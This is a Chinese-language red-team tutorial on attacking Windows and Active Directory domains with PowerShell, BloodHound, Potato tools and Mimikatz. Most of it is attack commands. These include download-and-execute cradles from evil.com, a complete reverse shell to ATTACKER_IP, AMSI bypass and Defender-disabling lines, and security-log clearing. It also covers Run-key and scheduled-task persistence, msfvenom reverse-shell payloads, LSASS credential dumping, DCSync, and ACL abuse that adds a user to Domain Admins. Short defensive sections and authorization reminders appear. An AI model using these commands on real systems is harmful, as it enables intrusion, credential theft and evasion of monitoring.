ADAPT域渗透测试

在渗透测试红队中,PowerShell 是一个强大的工具,因其深度集成于 Windows 系统且灵活性高,常用于信息收集、权限提升、横向移动和持久化攻击。以下是 PowerShell 的基础知识和红队常用技巧:


一、红队PowerShell

1. PowerShell 基础

基本概念

  • **PowerShell (PS)**:基于 .NET 的脚本语言和命令行工具,支持自动化任务和系统管理。
  • Cmdlet:PowerShell 内置命令(如 Get-ProcessCopy-Item)。
  • 脚本文件:扩展名为 .ps1,可通过命令行执行。
  • 执行策略:控制脚本运行权限,默认限制严格(Restricted)。

常用命令

  • 执行脚本powershell -ExecutionPolicy Bypass -File script.ps1
  • 绕过执行策略
    1
    powershell -ep bypass
  • 远程下载并执行
    1
    IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')

2. 红队常用 PowerShell 模块

信息收集

  • 系统信息
    1
    2
    3
    Get-ComputerInfo
    Get-LocalUser
    Get-NetIPConfiguration
  • 网络探测
    1
    Test-NetConnection -ComputerName 192.168.1.1 -Port 445
  • 域环境信息(需 Active Directory 模块):
    1
    2
    Get-ADUser -Filter * | Select-Object Name
    Get-ADComputer -Filter *

权限提升

  • 利用服务权限

    1
    2
    sc.exe create EvilService binPath= "cmd /c C:\evil.exe"
    sc.exe start EvilService
  • Token 窃取(需管理员权限):

    1
    Invoke-TokenManipulation -ImpersonateUser -Username "Administrator"

横向移动

  • PsExec 替代Invoke-Command):
    1
    Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }
  • WMI 远程执行
    1
    Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "calc.exe"

持久化

  • 计划任务
    1
    schtasks /create /tn "EvilTask" /tr "C:\evil.exe" /sc DAILY
  • 注册表启动项
    1
    Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Backdoor" -Value "C:\evil.exe"

3. 绕过安全检测

混淆与编码

  • Base64 编码命令
    1
    2
    3
    $command = "Write-Host 'Hello, Red Team!'"
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
    powershell -EncodedCommand $encoded
  • 代码混淆工具
    • Invoke-Obfuscation:混淆脚本以绕过杀软签名检测。
    • Chameleon:针对 AMSI(反恶意软件扫描接口)的绕过。

无文件攻击

  • 内存加载 DLL/EXE
    1
    2
    $bytes = (Invoke-WebRequest "http://evil.com/shellcode.bin").Content
    Invoke-ReflectivePEInjection -PEBytes $bytes
  • PowerShell 反射注入(使用 Mimikatz):
    1
    2
    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
    Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

4. 防御规避

  • 禁用日志记录
    1
    Set-MpPreference -DisableRealtimeMonitoring $true
  • 清除事件日志
    1
    wevtutil cl Security
  • 绕过 AMSI
    1
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

5. 实战工具推荐

  • PowerSploit:渗透测试框架(信息收集、权限提升、持久化)。
  • Nishang:专为红队设计的脚本集(反向 Shell、键盘记录)。
  • Empire:C2 框架,支持 PowerShell 后门。
  • Cobalt Strike:集成 PowerShell 攻击链。

6. 防御建议

  • 限制 PowerShell 执行策略(如 AllSigned)。
  • 启用 PowerShell 日志记录(脚本块日志、模块日志)。
  • 监控敏感命令(如 DownloadStringIEX)。
  • 使用 AppLockerWDAC 限制脚本执行。

7. 示例:反向 Shell

1
2
3
4
5
6
7
8
9
10
11
12
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | %{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()

掌握 PowerShell 基础后,可结合工具和实战场景深入探索其在红队中的灵活应用。注意合法授权和道德规范!

二、AD域基础知识

Active Directory (AD) 域基础知识

Active Directory(AD)是微软开发的目录服务,用于管理 Windows 网络环境中的用户、计算机、组和其他资源。AD 域是企业网络的核心,理解其基础架构是渗透测试和红队行动的关键。


1. AD 核心概念

1.1 域(Domain)

  • 定义:逻辑安全边界,包含用户、计算机、组等对象,共享同一套安全策略和数据库。
  • 域控制器(DC, Domain Controller)
    • 存储 AD 数据库(NTDS.dit)的服务器,负责用户认证和策略执行。
    • 一个域可以有多个 DC,通过复制同步数据。
  • 域用户与计算机
    • 用户账号(User Account):唯一标识(如 [email protected])。
    • 计算机账号(Computer Account):每台加入域的计算机自动创建。

1.2 林(Forest)与树(Tree)

  • :多个域的集合,共享全局编录(Global Catalog)和架构(Schema)。
    • 根域:林中第一个创建的域。
    • 信任关系:林内域默认双向信任,林间需手动配置。
  • :具有连续 DNS 命名空间的域(如 parent.comchild.parent.com)。

1.3 组织单位(OU, Organizational Unit)

  • 作用:用于逻辑分组管理对象(用户、计算机等),可嵌套。
  • 组策略(GPO, Group Policy Object)
    • 通过 GPO 向 OU 内的对象下发策略(如密码策略、软件安装)。

1.4 关键角色(FSMO Roles)

AD 中有 5 个灵活单主机操作角色(Flexible Single Master Operations):

  1. Schema Master:管理 AD 架构。
  2. Domain Naming Master:管理域的增加/删除。
  3. PDC Emulator:时间同步、密码策略主控。
  4. RID Master:分配安全标识符(SID)中的 RID。
  5. Infrastructure Master:维护跨域对象引用。

2. AD 核心服务

2.1 DNS

  • 作用:解析域名与 IP,AD 依赖 DNS 定位域控制器和服务。
  • SRV 记录:记录域控制器的服务(如 _ldap._tcp.dc._msdcs.domain.com)。

2.2 LDAP(轻量级目录访问协议)

  • 端口:默认 389(明文)和 636(SSL)。
  • 功能:查询和修改 AD 对象(如用户、组)。
  • 基本 DN 结构DC=domain,DC=com

2.3 Kerberos 认证

  • 流程
    1. 用户向 KDC(Key Distribution Center)请求 TGT(Ticket Granting Ticket)。
    2. 使用 TGT 请求服务票据(Service Ticket)。
    3. 服务票据用于访问资源(如文件服务器)。
  • 关键漏洞
    • 黄金票据(Golden Ticket):伪造 TGT(需域管理员哈希)。
    • 白银票据(Silver Ticket):伪造服务票据(需服务账号哈希)。

3. AD 安全机制

3.1.安全边界

  • 域不是安全边界,安全边界只有林

    因为可以通过SidHistory中设置,进行跨域,通过Sid519进行域间凭证转义。

3.2 权限模型

  • ACL(访问控制列表):控制对象访问权限(如用户能否修改组策略)。
  • 权限委派:将管理权限下放给非管理员用户(如重置密码)。

3.3 组策略安全

  • GPO 继承:子 OU 继承父 OU 策略,可强制覆盖。
  • 常见风险
    • 配置不当导致普通用户获得管理员权限。
    • 通过 GPO 部署恶意脚本(如开机启动)。

4. 红队视角:AD 常见攻击面

image-20250409213527904

4.1 信息收集

  • 枚举域用户与计算机

    1
    2
    Get-ADUser -Filter * | Select-Object Name
    Get-ADComputer -Filter * | Select-Object Name
  • 查询域信任关系

    1
    Get-ADTrust -Filter *

4.2 凭证攻击

  • Pass-the-Hash(PtH):使用用户哈希横向移动。
  • Kerberoasting:破解服务账号的 Kerberos 票据(SPN 扫描)。

4.3 横向移动

  • PsExec/WMI 远程执行
    1
    Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }
  • DCSync 攻击:模拟域控制器同步用户哈希(需 Replicating Directory Changes 权限)。

4.4 权限提升

  • 滥用 ACL 权限:如修改 GPO 或用户权限。
  • MS14-068(漏洞):伪造 PAC(Privilege Attribute Certificate)获取管理员权限。

4.5 持久化

  • Golden Ticket:生成长期有效的 TGT。
  • 影子组(Shadow Groups):隐藏后门用户到受信任组。

5. 常用工具

  • BloodHound:可视化 AD 攻击路径。
  • Mimikatz:提取凭证、操作 Kerberos 票据。
  • Impacket:执行协议级攻击(如 DCSync)。
  • PowerView:PowerShell AD 信息收集工具。

6. 防御建议

  1. 强化域控制器:限制管理员访问,启用 Credential Guard。
  2. 监控日志:关注异常登录、DCSync 事件、GPO 修改。
  3. 最小化权限:避免普通用户拥有过高权限。
  4. 定期审计:检查 ACL、SPN 配置、信任关系。
  5. 禁用过时协议:如 NTLM,强制使用 Kerberos。

示例:通过 LDAP 查询域信息

1
2
3
4
5
# 查询所有用户
Get-ADUser -Filter * -Properties * | Select-Object Name, UserPrincipalName

# 查询域管理员组
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name

掌握 AD 域基础是红队渗透测试的关键,后续可结合工具和漏洞深入攻击手法。注意:所有操作需在授权范围内进行!

三、活动目录枚举


在渗透测试或红队行动中,域基础信息枚举是获取 Active Directory(AD)环境关键信息的重要步骤。以下是常用的枚举方法和工具,涵盖用户、计算机、组策略、信任关系等核心信息:


1. 基本信息枚举

(1) 获取当前域信息

  • PowerShell 内置命令
    1
    Get-ADDomain | Select-Object Name, DNSRoot, DomainMode, Forest
    • 输出域名、DNS根、域功能级别和所属林名称。
  • CMD 命令
    1
    2
    net view /domain   # 列出所有域
    net config workstation # 查看当前域信息

(2) 域控制器定位

  • DNS 查询 SRV 记录
    1
    nslookup -type=SRV _ldap._tcp.dc._msdcs.<域名>
  • PowerShell
    1
    Get-ADDomainController | Select-Object HostName, IPv4Address, Site

2. 用户与组枚举

(1) 查询域用户

  • PowerShell
    1
    Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, Enabled, LastLogonDate
    • -Filter * 表示所有用户,-Properties * 显示全部属性。
  • 过滤管理员用户
    1
    Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name

(2) 查询域组

  • PowerShell
    1
    Get-ADGroup -Filter * | Select-Object Name, GroupCategory
  • 查询特权组
    1
    Get-ADGroup -Filter {Name -like "*Admin*"} | Select-Object Name

3. 计算机枚举

(1) 列出域内计算机

  • PowerShell
    1
    Get-ADComputer -Filter * -Properties * | Select-Object Name, DNSHostName, OperatingSystem
  • CMD 命令
    1
    net group "Domain Computers" /domain

(2) 定位特定服务主机

  • 查询 SQL 服务器(通过 SPN):
    1
    Get-ADComputer -Filter {ServicePrincipalName -like "MSSQLSvc*"} -Properties ServicePrincipalName

4. 组策略(GPO)枚举

(1) 列出所有 GPO

  • PowerShell
    1
    Get-GPO -All | Select-Object DisplayName, Id, ModificationTime
  • 导出 GPO 设置
    1
    Get-GPOReport -Name "Default Domain Policy" -ReportType HTML -Path "C:\gpo_report.html"

(2) 查找敏感配置

  • 搜索密码策略

    1
    Get-ADDefaultDomainPasswordPolicy
  • 检查登录脚本路径

    1
    Get-GPO -All | ForEach-Object { Get-GPOReport -Guid $_.Id -ReportType XML } | Select-String "Scripts"

5. 信任关系与林信息

(1) 域信任关系

  • PowerShell
    1
    Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType
  • CMD 命令
    1
    nltest /domain_trusts

(2) 林信息

  • PowerShell
    1
    Get-ADForest | Select-Object Name, RootDomain, Domains

6. 工具化枚举

(1) PowerView(PowerShell 脚本)

  • 下载
    1
    IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1')
  • 常用命令
    1
    2
    3
    4
    Get-NetDomain           # 当前域信息
    Get-NetUser # 所有用户
    Get-NetComputer -SPN "*SQL*" # 按 SPN 过滤计算机
    Invoke-ShareFinder # 查找共享目录

(2) BloodHound(可视化分析)

  • 数据采集
    1
    Invoke-BloodHound -CollectionMethod All
    • 生成 JSON 文件后导入 BloodHound 界面,自动分析攻击路径。
  • 关键查询
    • “查找域管理员登录的主机”。
    • “查找具有 ACL 权限提升路径的用户”。

7. 隐蔽枚举技巧

(1) LDAP 匿名查询

  • 若允许匿名访问,可直接通过 LDAP 查询:
    1
    2
    3
    $searcher = New-Object DirectoryServices.DirectorySearcher
    $searcher.Filter = "(objectCategory=User)"
    $searcher.FindAll() | ForEach-Object { $_.Properties }

(2) 绕过日志监控

  • 无文件执行
    1
    powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/PowerView.ps1'); Get-NetUser"
  • 清除内存痕迹
    1
    [System.GC]::Collect()  # 强制垃圾回收

8. 关键信息示例

(1) 定位域管理员

  • PowerShell

    1
    Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object Name, DistinguishedName
  • 通过日志分析

    1
    Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" | Where-Object { $_.Message -match "Administrator" }

(2) 查找敏感共享

  • PowerShell

    1
    Get-SmbShare | Where-Object { $_.Path -like "*Data*" }

防御建议

  1. 限制匿名 LDAP 查询:禁用未经认证的访问。
  2. 监控敏感命令:如 Get-ADUserInvoke-BloodHound
  3. 启用 PowerShell 日志:记录脚本执行和模块加载。
  4. 定期审计权限:检查特权组和 ACL 配置。

掌握域基础信息枚举是渗透测试的关键前置步骤,结合工具和手动查询可快速构建攻击地图。注意:所有操作需在合法授权范围内进行!

四、本地权限提升


在渗透测试或红队行动中,Windows本地权限提升(Local Privilege Escalation, LPE)是获取更高权限(如 SYSTEM 或管理员)的关键步骤。以下是常见提权手法、工具及防御建议:


1. 基础信息收集

在尝试提权前,需先收集系统信息,定位可利用的漏洞或配置缺陷:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# 查看当前用户权限
whoami /priv

# 查看安装的补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 查看计划任务
schtasks /query /fo LIST /v

# 查看服务权限(PowerShell)
Get-WmiObject Win32_Service | Select-Object Name, StartName, PathName

或者使用自动化信息枚举工具豌豆winpeas

2. 常见提权手法

(1) 利用未修补的系统漏洞

  • CVE 漏洞
    • **PrintNightmare (CVE-2021-34527)**:通过打印机服务加载恶意DLL。
    • CVE-2021-1675:类似PrintNightmare的远程代码执行漏洞。
    • **ZeroLogon (CVE-2020-1472)**:重置域控制器密码(针对域环境)。
  • 利用工具
    • Metasploituse exploit/windows/local/[漏洞模块]
    • GitHub PoC:如 PrintNightmare PoC

(2) 服务权限滥用

  • 可写服务路径

    • 查找服务二进制路径可写的服务:
      1
      Get-WmiObject Win32_Service | Where-Object { $_.PathName -like "* *" } | Select-Object Name, PathName, StartName
    • 替换二进制文件并重启服务:
      1
      2
      sc stop ServiceName
      sc start ServiceName
  • 服务未引用路径(Unquoted Service Path):

    • 若服务路径未用引号包裹且包含空格,可在中间目录植入恶意程序:
      1
      2
      # 示例路径:C:\Program Files\Vulnerable Service\service.exe
      # 植入 C:\Program.exe 或 C:\Program Files\Vulnerable.exe

(3) 计划任务提权

  • 查找以高权限运行的任务

    1
    schtasks /query /fo LIST /v | findstr /i "SYSTEM\|管理员"
  • 劫持任务调用的可写脚本或DLL

(4) DLL劫持(DLL Hijacking)

  • 原理:程序运行时加载未验证的DLL路径。
  • 工具
    • Process Monitor:监控目标进程加载的DLL。
    • PowerShell脚本:自动化检测可劫持的DLL路径。

(5) 令牌模拟(Token Impersonation)

  • 适用场景:已获取管理员进程的令牌(如通过Meterpreter会话)。
  • Mimikatz命令
    1
    2
    privilege::debug
    token::elevate
  • Metasploit模块
    1
    2
    3
    use incognito
    list_tokens -u
    impersonate_token "NT AUTHORITY\SYSTEM"

(6) 注册表键滥用

  • AlwaysInstallElevated
    • 检查是否允许普通用户以SYSTEM权限安装MSI包:
      1
      2
      reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
      reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    • 生成恶意MSI并安装:
      1
      2
      msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f msi -o evil.msi
      msiexec /quiet /qn /i evil.msi

(7) 利用自动运行程序(Autoruns)

  • 查找开机/登录自启动程序
    • 工具:Autoruns(Sysinternals工具集)。
    • 替换可写的启动项脚本(如 C:\Users\Public\Desktop\startup.bat)。

(8) 其他

  • 在 Windows机器上本地升级权限有多种方法(漏洞)

    • 缺少补丁
    • 明文形式的自动部署和自动登录密码
    • AlwaysInstallElevated(任何用户都可以以SYSTEM身份运行MSI )服务配置错误
    • DLL劫持等
  • 在环境下无法利用漏洞进行提权时

    • 积极利用不安全的配置
    • 不安全的配置很少有针对它们的补丁,而且他们不是安全团队的重点
    • 针对企业应用程序部署时并未考虑到安全性,例如测试系统权限过大、测试账号权限过大
    • 在Windows上许多企业应用程序需要管理特权或系统特权才能够运行,可以尝试白加黑(白exe+黑+dll)

3. 自动化提权工具

(1) PowerUp.ps1

  • 功能:自动化检测服务、计划任务、注册表等提权路径。
  • 使用
    1
    2
    3
    IEX (New-Object Net.WebClient).DownloadString('http://evil.com/PowerUp.ps1')
    Invoke-AllChecks # 检测所有潜在漏洞
    Invoke-ServiceAbuse -Name VulnerableService # 利用可写服务提权

(2) Windows-Exploit-Suggester

  • 原理:根据 systeminfo 输出匹配已知漏洞。
  • 使用
    1
    ./windows-exploit-suggester.py --database 2023-10.xls --systeminfo systeminfo.txt

(3) Metasploit

  • 常用模块
    1
    2
    use post/multi/recon/local_exploit_suggester  # 本地漏洞检测
    use exploit/windows/local/service_permissions # 服务权限滥用

以下是关于 Windows提权土豆家族(Potato Family) 的详细介绍,涵盖其原理、常见工具、利用条件及防御建议:


(4) 土豆家族

1. 土豆家族概述

土豆家族 是一系列利用 Windows 特权或漏洞进行本地权限提升(Local Privilege Escalation, LPE)的工具和技术统称。它们通过模拟高权限令牌(如 SYSTEM)或滥用服务配置,将低权限用户(如 IIS、MSSQL 服务账户)提升至系统权限,广泛用于红队渗透测试中。

核心原理
  • 特权滥用:利用 SeImpersonatePrivilege(模拟令牌)或 SeAssignPrimaryTokenPrivilege(分配令牌)特权,通过 API(如 CreateProcessWithTokenW)生成高权限进程。
  • 令牌窃取:通过中间人攻击(如 NTLM 重放)、命名管道(Named Pipe)或 RPC 接口,劫持系统进程(如 spoolsv.exe)的令牌。

2. 常见工具及利用场景

(1) 主流土豆工具
工具名称 特点 适用系统版本
PrintSpoofer 利用 spoolsv.exe 服务,通过命名管道模拟令牌 Win 8.1+/Server 2012+
RottenPotato 通过 NTLM 重放攻击模拟 SYSTEM 令牌(MS16-075) Win 7/Server 2008 R2
JuicyPotato 早期经典工具,依赖 COM 组件滥用(需 CLSID 列表) Win 7/Server 2008 R2
GodPotato 通杀全系 Windows 的改进版,支持多种协议(HTTP、SMB 等) Win 10/Server 2016+
SweetPotato 支持多协议令牌模拟,适用于高版本系统 Win 10/Server 2019+
EfsPotato 利用 EFS(加密文件系统)RPC 接口获取令牌 Win 10/Server 2016+
PrintNotifyPotato 通过打印通知功能触发权限提升 Win 10/Server 2019+

:部分工具需自行编译(如 BadPotato、CandyPotato),部分自带 EXE(如 GodPotato、JuicyPotatoNG)。

(2) 利用条件
  • 必要特权:当前用户需具备 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege(常见于 IIS、MSSQL 服务账户)。
  • 服务依赖:如 PrintSpoofer 需 spoolsv.exe 运行,RottenPotato 依赖 NTLM 认证机制。
  • 系统补丁:未安装相关漏洞补丁(如 MS16-075、CVE-2021-1675)。

3. 典型攻击流程

  1. 信息收集
    检查当前权限、系统版本及补丁状态:
    1
    2
    whoami /priv
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  2. 工具上传
    通过 Webshell 上传土豆家族 EXE(如 GodPotato.exe)至可写目录。
  3. 执行提权
    运行工具生成高权限进程(如启动反向 Shell):
    1
    GodPotato.exe -cmd "C:\shell.exe"
  4. 权限维持
    通过 Cobalt Strike 或 Meterpreter 获取 SYSTEM 会话,进行横向移动或持久化。

4. 防御建议

  1. 及时打补丁:修复已知漏洞(如永恒之蓝、PrintNightmare)。
  2. 最小权限原则
    • 服务账户使用低权限(如 LOCAL SERVICE)。
    • 限制敏感目录(如 C:\Windows\System32)的写入权限。
  3. 启用UAC:防止自动提升权限。
  4. 审计配置
    • 检查计划任务、服务路径、注册表键。
    • 使用 Sysinternals Suite(如 AccessChkAutoRuns)。
  5. 监控日志
    • 事件ID 4688(新进程创建)、4697(服务安装)、4104(PowerShell脚本执行)。

5. 示例:利用PowerUp提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 下载并执行PowerUp
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/PowerUp.ps1')

# 检测漏洞
Invoke-AllChecks

# 发现可写服务路径,生成Payload并替换
Write-Host "检测到服务路径可写!"
$serviceName = "VulnerableService"
$payloadPath = "C:\Windows\Temp\evil.exe"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o $payloadPath
sc stop $serviceName
Copy-Item $payloadPath -Destination "C:\Program Files\Service\service.exe" -Force
sc start $serviceName

五.域权限提升之Bloodhound


在 Active Directory(AD)域环境中,BloodHound 是一款强大的开源工具,用于可视化攻击路径并识别权限提升机会。它通过分析用户、组、ACL(访问控制列表)、GPO(组策略)等对象的关系,帮助红队快速定位提权路径。以下是结合 BloodHound 的域权限提升全流程指南:


1. BloodHound 核心概念

(1) 数据收集

  • SharpHound:BloodHound 的官方数据收集器(C# 或 PowerShell 版本),用于抓取 AD 对象及其关系。
  • 收集类型
    • 默认收集:用户、组、计算机、ACL、会话、GPO、域信任等。
    • 高级收集-CollectionMethod All 或指定特定类型(如 LoggedOnRDP)。

(2) 核心分析视角

  • 高价值目标
    • 特权组:Domain Admins、Enterprise Admins、Schema Admins。
    • 敏感用户:具备 DCSync 权限或 AdminTo 关系的用户。
    • 关键资源:域控制器、文件服务器、SQL 服务器。

2. 域权限提升实战流程

步骤1:新版安装配置

  1. **官网安装指导页面**(需要先安装docker)

  2. 由于国内墙的原因导致安装指令需要开启系统代理翻墙。

    且如果使用了sudo指令需要使用-E参数来继承环境变量。

    1
    2
    export http_proxy="http://192.168.100.1:7890"
    export https_proxy="http://192.168.100.1:7890"
  3. 需要安装docker和docker-compose环境。

    1
    2
    sudo apt update
    sudo apt install docker.io docker-compose
  4. 且docker需要配置配置镜像源。

步骤1:安装与配置

  1. 安装 BloodHound

    1
    2
    3
    # Kali Linux
    sudo apt install bloodhound
    # 或从 GitHub 下载最新版
  2. 启动 Neo4j 数据库(BloodHound 依赖):

    1
    neo4j console
  3. 登录 BloodHound 界面

    • 访问 http://localhost:7474,使用默认凭证 neo4j/neo4j 初始化密码。

步骤2:数据收集

  1. 通过 SharpHound 收集数据
    1
    2
    3
    4
    5
    # 下载 SharpHound.ps1
    IEX (New-Object Net.WebClient).DownloadString('http://<攻击机>/SharpHound.ps1')

    # 执行数据收集(默认方法)
    Invoke-BloodHound -CollectionMethod All -Domain <域名> -ZipFileName data.zip
    • 生成 data.zip 文件后,将其导入 BloodHound 界面。

步骤3:关键查询与攻击路径

在 BloodHound 中,使用 Cypher 查询 或预置分析功能定位提权路径:

(1) 查找域管理员所在主机
  • 预置查询Find Domain Admins Logged On
  • 手动查询
    1
    2
    3
    MATCH (u:User)-[:MemberOf]->(g:Group {name: "DOMAIN [email protected]"})
    MATCH (c:Computer)-[:HasSession]->(u)
    RETURN u.name, c.name
    • 结果:定位域管理员登录的计算机,尝试横向移动或凭证窃取。
(2) ACL 滥用提权
  • 场景:普通用户对高权限组(如 Domain Admins)有 WriteDaclGenericAll 权限。
  • 查询
    1
    2
    MATCH (u:User {name: "[email protected]"})-[:GenericAll]->(g:Group {name: "DOMAIN [email protected]"})
    RETURN u, g
    • 利用方法:将自身添加到目标组:
      1
      Add-ADGroupMember -Identity "Domain Admins" -Members "普通用户"
(3) 非特权用户到域控制器的攻击路径
  • 预置查询Shortest Paths to Domain Admins
  • 常见路径
    • 用户 → 对计算机有本地管理员权限 → 计算机上有域管理员会话 → 抓取哈希。
    • 用户 → 对 GPO 有编辑权限 → 修改 GPO 下发恶意任务。
(4) Kerberoasting 攻击目标
  • 查询具备 SPN 的服务账号
    1
    MATCH (u:User {hasspn: true}) RETURN u.name, u.serviceprincipalnames
    • 导出票据后破解:Invoke-Kerberoast -OutputFormat Hashcat | fl.
(5) 滥用 GPO 提权
  • 查询可编辑的 GPO
    1
    MATCH (u:User)-[:WriteDacl|Owns]->(g:GPO) RETURN u.name, g.name
    • 利用方法:通过 GPO 下发计划任务或启动脚本,在域内主机执行恶意代码。

3. 实战提权案例

案例1:通过 ACL 提权到域管理员

  1. 发现攻击路径
    BloodHound 显示用户 AliceHelpDesk 组有 GenericAll 权限,而 HelpDesk 组对 Domain Admins 组有 AddMember 权限。
  2. 执行提权
    1
    2
    3
    4
    5
    # 将 Alice 添加到 HelpDesk 组(如果尚未加入)
    Add-ADGroupMember -Identity "HelpDesk" -Members "Alice"

    # 通过 HelpDesk 组权限将 Alice 加入 Domain Admins
    Add-ADGroupMember -Identity "Domain Admins" -Members "Alice" -Credential (Get-Credential)

案例2:利用会话劫持横向移动

  1. 定位高权限会话
    BloodHound 显示域管理员 Admin 登录到计算机 PC-01
  2. 获取 PC-01 控制权
    利用本地提权漏洞(如 Potato 家族)获取 PC-01 的 SYSTEM 权限。
  3. 转储 LSASS 内存
    1
    Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
  4. 使用域管理员凭证横向移动
    1
    Invoke-Command -ComputerName DC-01 -ScriptBlock { whoami } -Credential (Get-Credential)

4. 防御建议

  1. 定期审计 ACL 和组权限
    • 使用 BloodHound 的防御分析功能(如 Active Directory ACL Cleanup)。
    • 移除普通用户对特权组的 WriteDaclGenericAll 权限。
  2. 限制敏感组登录范围
    • 禁止域管理员登录非域控制器主机。
  3. 启用 LAPS(本地管理员密码解决方案)
    • 防止通过本地管理员权限横向移动。
  4. 监控异常行为
    • 日志事件 ID 4624(登录)、4732(组添加成员)、5136(目录服务变更)。
  5. 限制 Kerberos 委派和 SPN
    • 避免服务账号过度权限。

5. 扩展工具与技巧

  • PowerView:与 BloodHound 结合,手动验证攻击路径:
    1
    2
    # 查询用户对组的权限
    Get-ObjectAcl -Identity "Domain Admins" | ? { $_.ActiveDirectoryRights -match "WriteProperty" }
  • ADExplorer(Sysinternals):实时浏览 AD 对象及权限。
  • 自动化攻击框架
    • Impacket:执行 DCSync、Kerberoasting。
    • CrackMapExec:自动化横向移动与权限验证。

通过 BloodHound,红队可高效识别 AD 环境中的脆弱环节,而防御者则能借此加固权限架构。

六.内网渗透之mimikatz专题简介

Mimikatz 是红队渗透测试中不可或缺的工具,由法国安全研究员 Benjamin Delpy 开发,主要用于从 Windows 系统中提取敏感凭据(如明文密码、哈希值、Kerberos 票据等),并支持多种高级攻击手法。以下是其核心功能、使用场景及防御措施的全面解析:


1. 核心功能与模块

(1) 核心能力

  • 凭据提取:通过读取 LSASS 进程内存,获取明文密码、NTLM 哈希、Kerberos 票据等。
  • 令牌操作:模拟高权限令牌(如 SYSTEM 或域管理员),实现权限提升。
  • 横向移动:支持传递哈希(Pass-the-Hash)、票据传递(Pass-the-Ticket)等攻击。
  • 日志清除:清除系统安全日志,隐藏攻击痕迹。

(2) 关键模块

  • **sekurlsa**:提取内存中的登录凭据(sekurlsa::logonpasswords)。
  • **kerberos**:管理 Kerberos 票据(如黄金票据、白银票据注入)。
  • **lsadump**:操作 LSA 数据库(lsadump::dcsync 导出域用户哈希)。
  • **privilege**:提权操作(privilege::debug 启用调试权限)。
  • **token**:令牌窃取与模拟(token::elevate 获取 SYSTEM 权限)。

2. 典型使用场景

(1) 内网渗透

  • 密码提取:在已控制的主机上运行 sekurlsa::logonpasswords,获取当前登录用户的明文密码或哈希。
  • 横向移动:使用 sekurlsa::pth 传递哈希登录其他主机,或通过 kerberos::golden 生成黄金票据访问域资源。
  • 权限维持:通过 lsadump::dcsync 导出域控哈希,或注入持久化后门。

(2) Windows 高版本适配

  • 绕过 Credential Guard:在 Windows 10/Server 2016+ 中,默认禁用明文密码缓存,需修改注册表启用 WDigest:
    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • 配合工具提取:使用 procdump 导出 LSASS 内存文件(.dmp),再通过 sekurlsa::minidump 离线分析。

3. 常见攻击手法示例

(1) 提取本地用户凭据

1
2
3
privilege::debug        # 提权至调试权限
token::elevate # 模拟 SYSTEM 令牌
sekurlsa::logonpasswords # 提取内存中的明文密码

(2) Kerberoasting 攻击

1
2
kerberos::list /export   # 导出服务票据(TGS)
# 使用 Hashcat 离线破解服务账号哈希

(3) DCSync 攻击(域控权限)

1
lsadump::dcsync /domain:example.com /user:krbtgt  # 导出 krbtgt 账户哈希

4. 防御与检测

(1) 防护措施

  • 启用 Credential Guard:防止 LSASS 内存被读取。
  • 限制特权账户:服务账户避免使用高权限,禁用 SeDebugPrivilege
  • 日志监控:关注事件 ID 4688(新进程)、4624(登录事件)、4662(DCSync 操作)。
  • 应用白名单:限制未签名程序执行(如 AppLocker)。

(2) 检测建议

  • LSASS 保护:启用受控文件夹访问(Controlled Folder Access)阻止未授权进程访问 LSASS。
  • 异常行为分析:监控 mimikatz.exeInvoke-Mimikatz.ps1 的执行痕迹。
  • 网络流量审计:识别 Kerberos 票据请求异常或哈希传递行为。

5. 工具联动与扩展

  • Cobalt Strike 集成:通过 mimikatz 插件直接调用功能(如 logonpasswords)。
  • Metasploit 框架:使用 load kiwi 模块加载 Mimikatz 功能。
  • 自动化攻击链:结合 BloodHound 分析攻击路径,利用 Mimikatz 快速提权。

6. 注意事项

  • 绕过杀软:通过源码修改(如混淆字符串)、内存加载(无文件执行)或使用 VMProtect 加壳实现免杀。
  • 系统兼容性:部分功能在 Windows 高版本受限,需结合其他工具(如 Rubeus、SharpKatz)。

